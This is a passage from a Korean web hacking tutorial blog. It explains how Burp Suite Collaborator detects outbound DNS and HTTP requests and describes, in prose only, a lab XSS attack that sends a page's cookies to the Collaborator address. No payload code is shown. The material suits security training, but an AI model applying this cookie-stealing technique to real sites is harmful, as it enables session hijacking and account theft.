이를 페이로드에 포함시켜 대상 시스템이 해당 도메인으로 요청을 보내는지 확인 가능하다

 

Burp Suite의 Collaborator Client에서 요청 내역을 확인할 수 있으며,

발생한 DNS 조회, HTTP 요청, TCP 연결 기록을 분석할 수 있다

 

 

 


 

Collaborator를 활용한 XSS 공격 실습

 

버프 스위트 Collaborator에서 Copy to clipboard를 클릭

 

 

 

복사한 주소가 잘 작동하는지 확인

 

 

 

 

XSS 취약점이 존재하는 웹에서 복사한 url로 해당 웹의 현재 쿠키 값을 전달하는 공격을 수행한다

(쿠키 탈취)

 

 

 

 

 

공격이 성공하면

Collaborator 에서 요청 패킷을 확인할 수 있다

요청 패킷을 통해 쿠키 값이 전달됐다 

 

 

 

 

'웹 해킹 > 실무' 카테고리의 다른 글

Relative Path Overwrite(PRO) 취약점  (0) 2026.09.22
XSS 필터링 우회4  (0) 2025.03.11
XSS 필터링 우회3  (0) 2025.03.10
XSS 필터링 우회2  (0) 2025.03.10
XSS 필터링 우회  (0) 2025.03.07

+ Recent posts